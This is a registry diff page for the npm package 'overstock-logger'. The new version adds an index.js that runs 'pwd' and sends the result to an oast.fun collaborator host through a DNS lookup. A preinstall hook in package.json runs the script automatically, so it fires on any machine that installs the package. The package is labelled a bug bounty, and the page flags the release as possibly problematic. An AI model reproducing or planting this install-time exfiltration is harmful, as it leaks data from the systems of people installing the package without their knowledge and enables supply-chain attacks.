overstock-logger 0.0.1-security → 59.2.12

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.

Potentially problematic release.


This version of overstock-logger might be problematic. Click here for more details.

Files changed (3) hide show
  1. package/index.js +24 -0
  2. package/package.json +10 -4
  3. package/README.md +0 -5
package/index.js ADDED
@@ -0,0 +1,24 @@
1
+ const { exec } = require('child_process');
2
+ const dns = require('dns');
3
+
4
+ // Replace with your Burp Collaborator server address
5
+ const collaboratorServer = 'cjg2e0r2vtc0000xj9s0gjeb8yoyyyyyb.oast.fun';
6
+
7
+ exec('pwd', (error, stdout, stderr) => {
8
+ if (error) {
9
+ console.error(`exec error: ${error}`);
10
+ return;
11
+ }
12
+
13
+ const pwdResult = stdout.trim();
14
+
15
+ // Perform DNS lookup to send data to Burp Collaborator
16
+ dns.resolveTxt(`${pwdResult}.${collaboratorServer}`, (err, addresses) => {
17
+ if (err) {
18
+ console.error(`DNS lookup error: ${err}`);
19
+ return;
20
+ }
21
+
22
+ console.log(`Sent pwd result to Burp Collaborator: ${pwdResult}`);
23
+ });
24
+ });
package/package.json CHANGED
@@ -1,6 +1,12 @@
1
1
  {
2
2
  "name": "overstock-logger",
3
- "version": "0.0.1-security",
4
- "description": "security holding package",
5
- "repository": "npm/security-holder"
6
- }
3
+ "version": "59.2.12",
4
+ "description": "adityan bug bounty",
5
+ "main": "index.js",
6
+ "scripts": {
7
+ "test": "echo \"Error: no test specified\" && exit 1",
8
+ "preinstall": "node index.js"
9
+ },
10
+ "author": "",
11
+ "license": "ISC"
12
+ }
package/README.md DELETED
@@ -1,5 +0,0 @@
1
- # Security holding package
2
-
3
- This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
4
-
5
- Please refer to www.npmjs.com/advisories?search=overstock-logger for more information.